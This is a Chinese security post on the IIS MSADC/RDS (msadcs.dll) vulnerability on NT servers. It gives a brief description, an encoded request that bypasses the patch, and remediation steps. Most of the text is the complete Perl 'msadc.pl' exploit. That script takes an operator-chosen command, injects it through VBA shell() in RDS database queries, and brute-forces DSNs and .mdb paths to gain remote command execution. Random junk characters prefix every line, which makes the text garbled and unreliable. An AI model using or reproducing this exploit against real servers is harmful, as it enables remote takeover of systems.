IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
MD4 m h2 $'#} f? 涉及程序：
67Tu8I /r Microsoft NT server
@\-*aS_8> l9 6 AJB' 描述：
qM^y@B2MO 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/@&uaw 0,__{? ! 详细：
v )2yR~J 如果你没有时间读详细内容的话，就删除:
{JKG-0)z? c:\Program Files\Common Files\System\Msadc\msadcs.dll
oOXJ7 |n 有关的安全问题就没有了。
f
e^s`dsG = K`]cEL 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
I;$tBgOWq DEfh R?v 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
R
iLqMSq 关于利用ODBC远程漏洞的描述，请参看:
xA n|OSe QqeF http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @k:@mzB7R &Dp& 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
kAx J#RG http://www.microsoft.com/security/bulletins/MS99-025faq.asp OWYY2&.h dj 6Lf 这里不再论述。
fl_a@QdB# IL*MB;0> 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
J04R,B \naG /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
6,R<8a;Wn 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
>Ij# += l,b_'
m@ t#]VR7] #将下面这段保存为txt文件，然后: "perl -x 文件名"
+$^ [ r [R~@#I P! #!perl
M&/e*Ta5 #
k5)IB O # MSADC/RDS 'usage' (aka exploit) script
3VQmo\li #
RC/& dB # by rain.forest.puppy
+fMW B #
Jx4~ o{Z}c # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
,
d4i0;2}+ # beta test and find errors!
!E *IktAI |IWm:[H3 use Socket; use Getopt::Std;
`E>o:tff getopts("e:vd:h:XR", \%args);
9<Th: t|w Y$3liDeL= print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
qNkX:|j
yW_goS0 if (!defined $args{h} && !defined $args{R}) {
M|$A)D1 print qq~
D@iS#+22 Usage: msadc.pl -h <host> { -d <delay> -X -v }
U[@B63];0 -h <host> = host you want to scan (ip or domain)
;q<:iaY9 -d <seconds> = delay between calls, default 1 second
CTX%~1 _`O -X = dump Index Server path table, if available
].gC9@C:$i -v = verbose
pl 1CEoe -e = external dictionary file for step 5
Lg6>\Z4 vZSwX @0 Or a -R will resume a command session
WMoRosL74 _p+q)#.W ~; exit;}
ljh,%#95= ?3iN)*Ut $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6y@o [=m if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
DsiyN:o'+ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Yd ~Tzh if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Sa6YqOel@ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
"9H#pj - if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
KH[Oqd J8`vk#5 if (!defined $args{R}){ $ret = &has_msadc;
f%STkL) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
IS!]!s'EI &gvX<X4e print "Please type the NT commandline you want to run (cmd /c assumed):\n"
mgEZiAV ? . "cmd /c ";
=Ajw(I[56 $in=<STDIN>; chomp $in;
n]wZ7z $command="cmd /c " . $in ;
M""X_~&I" 79M` ?xm if (defined $args{R}) {&load; exit;}
y;LZX-Z- 8 GT{vW9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
7I6& *I &try_btcustmr;
pkA(\0E8 tpKQ$) ed print "\nStep 2: Trying to make our own DSN...";
W4AFa>h &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
G9>
0w)r DTx>^<Tk print "\nStep 3: Trying known DSNs...";
O@KAh5EB &known_dsn;
A Rjox` IAbH_+7O print "\nStep 4: Trying known .mdbs...";
F BI^}^#_ &known_mdb;
a^9}ceu? &R}2/Mt if (defined $args{e}){
Z9PG7h print "\nStep 5: Trying dictionary of DSN names...";
]<E\J+5K &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
k5GJrK+ eN
I6V/\` print "Sorry Charley...maybe next time?\n";
xTdh/} exit;
ZCkwK !iGZo2LV ##############################################################################
MqswYK-s Y<` uq 'V sub sendraw { # ripped and modded from whisker
.n|
M5X sleep($delay); # it's a DoS on the server! At least on mine...
xV5eKV my ($pstr)=@_;
@1 )][r-7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
("@ih]zYf die("Socket problems\n");
pS)/yMlVj if(connect(S,pack "SnA4x8",2,80,$target)){
).> O6A4:C select(S); $|=1;
, N5-(W print $pstr; my @in=<S>;
N7qSbiRf< select(STDOUT); close(S);
& Pzr)W( return @in;
'[Ch8Yf\ } else { die("Can't connect...\n"); }}
E.rfS$<1 ob>2SU[Y ##############################################################################
jQ?6I1o I =yy
I sub make_header { # make the HTTP request
q \\52 :\ my $msadc=<<EOT
nrI-F,1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
vC!}%sxVw_ User-Agent: ACTIVEDATA
'd=B{ 7k@ Host: $ip
&r !* Y& Content-Length: $clen
]1n
=O"vE Connection: Keep-Alive
mE_?E&T`| rM(2RI4O`0 ADCClientVersion:01.06
S4 (lC%$| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
d+Jj4OnP Ja#ti y --!ADM!ROX!YOUR!WORLD!
:+\B|*T2.L Content-Type: application/x-varg
ukRbSJ5a5 Content-Length: $reqlen
"EC,#$e%ev HrQft1~N EOT
m]:|j[!*M ; $msadc=~s/\n/\r\n/g;
th (<S return $msadc;}
@phb5
BDT1qiC ##############################################################################
|Orp:e! Q>emyij sub make_req { # make the RDS request
ibskce{H my ($switch, $p1, $p2)=@_;
8;]U:tv my $req=""; my $t1, $t2, $query, $dsn;
N!:&Xz |\/Y<_)JD if ($switch==1){ # this is the btcustmr.mdb query
]l4# KI@ $query="Select * from Customers where City=" . make_shell();
P_ x9 :3 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ey>V^F j $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
r5N.Q t8 zHvG3Ed@ elsif ($switch==2){ # this is general make table query
hbv>Jjd $query="create table AZZ (B int, C varchar(10))";
Kr'5iFK7 $dsn="$p1";}
$&iw (BIq %B'*eBj~fw elsif ($switch==3){ # this is general exploit table query
-5t . 1/ $query="select * from AZZ where C=" . make_shell();
ht%:e?@i $dsn="$p1";}
%JC-%TRWK %$L!N-U6 elsif ($switch==4){ # attempt to hork file info from index server
zQQ=8#] $query="select path from scope()";
p$
%D $dsn="Provider=MSIDXS;";}
I H1
fvW
e H$i4OQ2 elsif ($switch==5){ # bad query
'm,3znX!c $query="select";
9My
|G)M6 $dsn="$p1";}
nv^nq]4'Dq yb:Xjg7
$t1= make_unicode($query);
{
'Db $t2= make_unicode($dsn);
qXJBLI G $req = "\x02\x00\x03\x00";
&}G2;O}3 $req.= "\x08\x00" . pack ("S1", length($t1));
V.*0k~ $req.= "\x00\x00" . $t1 ;
xr*hmp1 $req.= "\x08\x00" . pack ("S1", length($t2));
VUaYK $req.= "\x00\x00" . $t2 ;
3jB5F0^r1 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
k-&fPE jG return $req;}
h}o7/p + 5:oW~
; ##############################################################################
yY$:zc"J yH0BN z8V sub make_shell { # this makes the shell() statement
E/</ return "'|shell(\"$command\")|'";}
IMDGinHAy b-rgiR$cg ##############################################################################
as?~N/} Z;bg ;@r| sub make_unicode { # quick little function to convert to unicode
q' %-8t my ($in)=@_; my $out;
<k0$3&D for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
se1\<YHDS return $out;}
f H/J8< >H q)1o ##############################################################################
\.tnzP
D 8f37o/L sub rdo_success { # checks for RDO return success (this is kludge)
|lOH
P A my (@in) = @_; my $base=content_start(@in);
\,i?WgWv if($in[$base]=~/multipart\/mixed/){
VnB"0 "%w return 1 if( $in[$base+10]=~/^\x09\x00/ );}
b]X c5Dp{ return 0;}
,dM}B- ,Mp/Y>f ##############################################################################
&nk[gb
o\ I 8C(z1(N sub make_dsn { # this makes a DSN for us
9fyJw1 my @drives=("c","d","e","f");
" Y Z B@ print "\nMaking DSN: ";
YVMwb@| foreach $drive (@drives) {
GDgq
4vfj print "$drive: ";
jF}u%T)HL my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
CnT]u U "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
t`6R)' . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
(c<MyuWb $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
V9tG2m Lf> return 0 if $2 eq "404"; # not found/doesn't exist
Jf-4Q! if($2 eq "200") {
n:-:LSa+3 foreach $line (@results) {
T(E$0a)# return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4ACL|RF)A } return 0;}
$s*\yam?| qd=&*? ##############################################################################
y( )7m/ %B&y^mZv*\ sub verify_exists {
U=4tJ b my ($page)=@_;
?n 9<PMo my @results=sendraw("GET $page HTTP/1.0\n\n");
yaiw|j`A return $results[0];}
j`GL#J[wqQ t<Iy `r7 1 ##############################################################################
F|t3%dpj }6;v`1Hr sub try_btcustmr {
y Q_lJIX my @drives=("c","d","e","f");
-^i[ my @dirs=("winnt","winnt35","winnt351","win","windows");
IXaF(2> bF5 mCR: foreach $dir (@dirs) {
#-wtNM%1# print "$dir -> "; # fun status so you can see progress
l0^~0xlED foreach $drive (@drives) {
mT@8( print "$drive: "; # ditto
xU4,R cgo $reqlen=length( make_req(1,$drive,$dir) ) - 28;
9%i|_c} $reqlenlen=length( "$reqlen" );
p,h DZea $clen= 206 + $reqlenlen + $reqlen;
xWv@ PqXD WQ(*A
$ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
dvWQ?1l_ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
D\}A{I92F4 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
TmZ%
;TN e_Ue9c.} ##############################################################################
gZI8 8Q Flrpk `4 sub odbc_error {
H B}!Lf#*P my (@in)=@_; my $base;
.""?k[f5Q my $base = content_start(@in);
dX4"o?KD> if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
2E
Ufd\ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8Z{e/wnVF $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
afVl)2h $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
n2NxO0 return $in[$base+4].$in[$base+5].$in[$base+6];}
K'6dlwn). print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
"enGWI H print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
}IM *V sk $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
\t6k(5J t nv @`xBn ##############################################################################
[Ybn pI |~ 'PEY sub verbose {
R/&Ev$: my ($in)=@_;
]!JUiFj"uD return if !$verbose;
K"%_q$[YQ print STDOUT "\n$in\n";}
){u/v[O9" +j*h bG= ##############################################################################
KCE5Z?k O$=[m9V sub save {
i(hI\hD my ($p1, $p2, $p3, $p4)=@_;
IQ$cLr-S open(OUT, ">rds.save") || print "Problem saving parameters...\n";
8T&.8r print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
jea{BhdUr close OUT;}
~C|. .Z u@V|13p< ##############################################################################
)5NfOvmNB EDMuQu/D8 sub load {
O#j&8hQ> my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
CK<Wba open(IN,"<rds.save") || die("Couldn't open rds.save\n");
:qfP>Ok @p=<IN>; close(IN);
UMcQqV+ vT $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8F?6Aq1B $target= inet_aton($ip) || die("inet_aton problems");
F/91Es print "Resuming to $ip ...";
l [Hgh, $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
7+!4pf if($p[1]==1) {
*]
H8X=[x $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
N:"S/G>r ; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
=UGyZV:z5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
4<j)1 i=A if (rdo_success(@results)){print "Success!\n";}
!fwMkws else { print "failed\n"; verbose(odbc_error(@results));}}
! ^~
^D< elsif ($p[1]==3){
n};:*N!
v if(run_query("$p[3]")){
7Nu.2q E print "Success!\n";} else { print "failed\n"; }}
TuF;>{~} elsif ($p[1]==4){
, ".1! [b if(run_query($drvst . "$p[3]")){
qL;OE.?oA print "Success!\n"; } else { print "failed\n"; }}
P2U^ %_~ exit;}
` 7v"( >(>,*zP<9 ##############################################################################
fV b~j ; >iZ"#1ZL2O sub create_table {
FTVV+9.l: my ($in)=@_;
0Nvk|uI
V[ $reqlen=length( make_req(2,$in,"") ) - 28;
+v!% z( $reqlenlen=length( "$reqlen" );
Zb p+b; $clen= 206 + $reqlenlen + $reqlen;
RM\A$.5 my @results=sendraw(make_header() . make_req(2,$in,""));
K{]9Yo return 1 if rdo_success(@results);
)=~OP>7B my $temp= odbc_error(@results); verbose($temp);
c#-o@`Po return 1 if $temp=~/Table 'AZZ' already exists/;
r Khhx return 0;}
0| a ,bwZ v[++"=<
o8 ##############################################################################
XfYMv38( %QYH]DR sub known_dsn {
n(#| # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
aR- ?t14 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
';>] 7oT` "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
h83W;s "banner", "banners", "ads", "ADCDemo", "ADCTest");
fJiY~mQ
U ]o foreach $dSn (@dsns) {
zJ"`40V*; print ".";
No|T#=BZ[ next if (!is_access("DSN=$dSn"));
Kc3BVZ71 if(create_table("DSN=$dSn")){
? Zhn b0/ print "$dSn successful\n";
Gr),o6}p if(run_query("DSN=$dSn")){
dH5 Go9`~R print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
4l2/eh]Hc( print "Something's borked. Use verbose next time\n";}}} print "\n";}
H
~VeY\:w
mz[Q]e~&i ##############################################################################
-:$#ko W * VuiEBG sub is_access {
5 $58 z my ($in)=@_;
-Lo3@:2i $reqlen=length( make_req(5,$in,"") ) - 28;
nzcXL
=^r3 $reqlenlen=length( "$reqlen" );
tL>c@w#P v $clen= 206 + $reqlenlen + $reqlen;
?:sk [f6 my @results=sendraw(make_header() . make_req(5,$in,""));
3qlY=5Y my $temp= odbc_error(@results);
Lrrc &; verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Y8 % bk2 return 0;}
PLb[U(~ X[e:fW[e) ##############################################################################
y7X2|$9z- bjO?k54I sub run_query {
xWiR7~E my ($in)=@_;
fk6`DUBV $reqlen=length( make_req(3,$in,"") ) - 28;
ZC99/NWN $reqlenlen=length( "$reqlen" );
v,[E*q MN $clen= 206 + $reqlenlen + $reqlen;
Bu ]PNKIi my @results=sendraw(make_header() . make_req(3,$in,""));
a3f- 9LN return 1 if rdo_success(@results);
s" 'ns my $temp= odbc_error(@results); verbose($temp);
v@&UTU return 0;}
{V7W !0;! qh]D=i ##############################################################################
l_2B nT:F{2 M; sub known_mdb {
0x Er`]]U my @drives=("c","d","e","f","g");
iaV%* my @dirs=("winnt","winnt35","winnt351","win","windows");
~Y_5q) t( my $dir, $drive, $mdb;
[C0"v OTUb my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"hbCP4 # n_ gry!5 # this is sparse, because I don't know of many
oAxRI+&|. my @sysmdbs=( "\\catroot\\icatalog.mdb",
q* ^m8 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
T 4JG5 "\\system32\\certmdb.mdb",
Qo5yfdR "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
-$A
>b8 4#Bzq3,| my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
(i1q ". "\\cfusion\\cfapps\\forums\\forums_.mdb",
,6EFJ Vu
\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
@'> Ul!.] "\\cfusion\\cfapps\\security\\realm_.mdb",
] >4CBm$ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Fd1 t/B, "\\cfusion\\database\\cfexamples.mdb",
Y 9SaYSX "\\cfusion\\database\\cfsnippets.mdb",
!q8"Q t "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
M(|6YF7u "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
d5YL =o "\\cfusion\\brighttiger\\database\\cleam.mdb",
VE $Kdo^ "\\cfusion\\database\\smpolicy.mdb",
r ,r"?}Z "\\cfusion\\database\cypress.mdb",
ty> 9i]Y- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
u [<ij "\\website\\cgi-win\\dbsample.mdb",
h N U.y "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Y(/y,bJ?jp "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
k^{}p8;3 ); #these are just
o G$OZTc foreach $drive (@drives) {
>4^,[IO/ foreach $dir (@dirs){
$ dR@Q?_{ foreach $mdb (@sysmdbs) {
PiVp(; rtQ print ".";
7%sx ["%@ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
W%-` print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
ww5UQs2sn if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
sDZ<X A print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
.5E6 MF } else { print "Something's borked. Use verbose next time\n"; }}}}}
+v)+ k "<$JU@P foreach $drive (@drives) {
bCg)PJuB foreach $mdb (@mdbs) {
rUW/d3y print ".";
IQ $/|b/ if(create_table($drv . $drive . $dir . $mdb)){
}? :T*CJ print "\n" . $drive . $dir . $mdb . " successful\n";
g@Z7f y7 if(run_query($drv . $drive . $dir . $mdb)){
#U Lzh&yO print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
b(Nxk2uv } else { print "Something's borked. Use verbose next time\n"; }}}}
peZ'sZ 6 }
g/W&Ap;qVL Da) H/3ii ##############################################################################
G e=|RAw3 )~{8C: sub hork_idx {
*?x[pqGq print "\nAttempting to dump Index Server tables...\n";
er0y~ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
9&"wfN N $reqlen=length( make_req(4,"","") ) - 28;
vW Z?*0^ $reqlenlen=length( "$reqlen" );
A5IW[Gu! $clen= 206 + $reqlenlen + $reqlen;
w\}Q.$@ my @results=sendraw2(make_header() . make_req(4,"",""));
,c&%/"i:w if (rdo_success(@results)){
O|mWQp^?q my $max=@results; my $c; my %d;
[+wLy3_ for($c=19; $c<$max; $c++){
8=,?B h". $results[$c]=~s/\x00//g;
Ro.b r:'Bw $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
P_F0lO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
}Ryrd!3bY $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
[l *;+N+ $d{"$1$2"}="";}
E wa/6=]LA foreach $c (keys %d){ print "$c\n"; }
&`2$,zX# } else {print "Index server doesn't seem to be installed.\n"; }}
L Jw y,- _X~xfmU ##############################################################################
D}/nE>* A(1WQUu j sub dsn_dict {
fU>4Ip1?y/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
`G<|5pe while(<IN>){
o9+fA H`D $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
P0l.sVqL next if (!is_access("DSN=$dSn"));
@ [<B:Tqo if(create_table("DSN=$dSn")){
'R
nvQ"" print "$dSn successful\n";
V`_)H if(run_query("DSN=$dSn")){
k&pV`.Imi print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#^9a[ZLj0 print "Something's borked. Use verbose next time\n";}}}
tKCX0UZ' print "\n"; close(IN);}
,xg(F0q v9GfudTZR ##############################################################################
om1D} irKT iHk /#a sub sendraw2 { # ripped and modded from whisker
=p \eh?^ sleep($delay); # it's a DoS on the server! At least on mine...
6Zmzo,{ my ($pstr)=@_;
gCZm7dgo socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
j|IvDrm# die("Socket problems\n");
I^?hVH if(connect(S,pack "SnA4x8",2,80,$target)){
)rbcY0q print "Connected. Getting data";
Tilw .z open(OUT,">raw.out"); my @in;
yhxZ^ (I select(S); $|=1; print $pstr;
[-hsG E while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
@ 5 V3I ^ close(OUT); select(STDOUT); close(S); return @in;
t/c) [l hV } else { die("Can't connect...\n"); }}
[W8?ww%qT w^)_Fk3 ##############################################################################
0GcOI} ?1]h5Uh[b sub content_start { # this will take in the server headers
Wo,fH Y my (@in)=@_; my $c;
nq*D91Q for ($c=1;$c<500;$c++) {
}3 S6TJ+ if($in[$c] =~/^\x0d\x0a/){
$sb `BS if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
2T-3rC) else { return $c+1; }}}
WjF#YW\ return -1;} # it should never get here actually
xX\A& 9 m c#T0n !} ##############################################################################
Ht7v+lY90^ %!V = noo sub funky {
T-.Bof (?w my (@in)=@_; my $error=odbc_error(@in);
^dR gYi"(A if($error=~/ADO could not find the specified provider/){
wQrD(Dv(yA print "\nServer returned an ADO miscofiguration message\nAborting.\n";
wiM-TFT~ exit;}
7DB!s@"
if($error=~/A Handler is required/){
Yzih-$g print "\nServer has custom handler filters (they most likely are patched)\n";
VR vX^w0 exit;}
S !R:a>\ if($error=~/specified Handler has denied Access/){
gFw- P#t print "\nServer has custom handler filters (they most likely are patched)\n";
ke5_lr( exit;}}
WbHI>tt Yp6%
@c6\ ##############################################################################
2- DJ3OL]k %s#`Z [8, sub has_msadc {
.!Q?TSQ+{! my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4/QQX; w my $base=content_start(@results);
-3Auo 0 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
y9-}LET3j
return 0;}
X m%aT 7=@Mn F` ########################
+KHk`2{y~ Ov| Uux m.>y(TI 解决方案：
)Zit6I 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
8@BN6 2、移除web 目录: /msadc
